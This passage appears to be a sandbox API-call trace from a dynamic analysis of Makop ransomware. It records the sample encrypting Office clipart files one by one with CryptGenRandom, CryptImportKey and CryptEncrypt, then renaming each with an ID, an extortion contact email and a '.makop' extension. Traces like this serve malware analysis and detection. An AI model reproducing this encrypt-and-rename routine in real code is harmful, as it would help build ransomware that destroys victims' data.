1 [0141.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.178] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.178] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.178] GetProcessHeap () returned 0x48a0000 [0141.178] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.178] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.178] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.178] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.179] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.179] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.179] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe14, lpOverlapped=0x0) returned 1 [0141.179] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0141.179] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.179] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0141.180] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.180] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.180] SetEndOfFile (hFile=0xf0) returned 1 [0141.187] GetProcessHeap () returned 0x48a0000 [0141.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.187] GetProcessHeap () returned 0x48a0000 [0141.187] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.187] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.189] CloseHandle (hObject=0xf0) returned 1 [0141.189] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0141.189] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF") returned 63 [0141.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.190] GetProcessHeap () returned 0x48a0000 [0141.190] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.190] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.209] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.209] GetProcessHeap () returned 0x48a0000 [0141.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.209] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.210] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.210] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.210] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.210] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.210] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.210] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.211] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17c4, lpOverlapped=0x0) returned 1 [0141.212] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17d0, dwBufLen=0x17d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17d0) returned 1 [0141.212] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.212] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17d0, lpOverlapped=0x0) returned 1 [0141.213] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.213] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.213] SetEndOfFile (hFile=0xf0) returned 1 [0141.220] GetProcessHeap () returned 0x48a0000 [0141.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.220] GetProcessHeap () returned 0x48a0000 [0141.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.220] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.222] CloseHandle (hObject=0xf0) returned 1 [0141.222] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0141.222] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF") returned 63 [0141.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.225] GetProcessHeap () returned 0x48a0000 [0141.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.225] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.225] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.230] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.230] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.230] GetProcessHeap () returned 0x48a0000 [0141.230] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.230] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.230] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.230] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.231] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.231] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.231] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.231] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd28, lpOverlapped=0x0) returned 1 [0141.231] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30, dwBufLen=0xd30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd30) returned 1 [0141.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd30, lpOverlapped=0x0) returned 1 [0141.232] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.232] SetEndOfFile (hFile=0xf0) returned 1 [0141.238] GetProcessHeap () returned 0x48a0000 [0141.239] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.239] GetProcessHeap () returned 0x48a0000 [0141.239] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.239] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.239] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.241] CloseHandle (hObject=0xf0) returned 1 [0141.241] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0141.241] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF") returned 63 [0141.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.242] GetProcessHeap () returned 0x48a0000 [0141.242] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.242] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.242] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.247] GetProcessHeap () returned 0x48a0000 [0141.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.247] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.247] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.248] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.248] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.248] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.248] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.248] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.248] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc74, lpOverlapped=0x0) returned 1 [0141.249] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc80, dwBufLen=0xc80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc80) returned 1 [0141.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.249] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc80, lpOverlapped=0x0) returned 1 [0141.249] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.249] SetEndOfFile (hFile=0xf0) returned 1 [0141.256] GetProcessHeap () returned 0x48a0000 [0141.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.256] GetProcessHeap () returned 0x48a0000 [0141.256] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.256] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.258] CloseHandle (hObject=0xf0) returned 1 [0141.258] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0141.258] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft 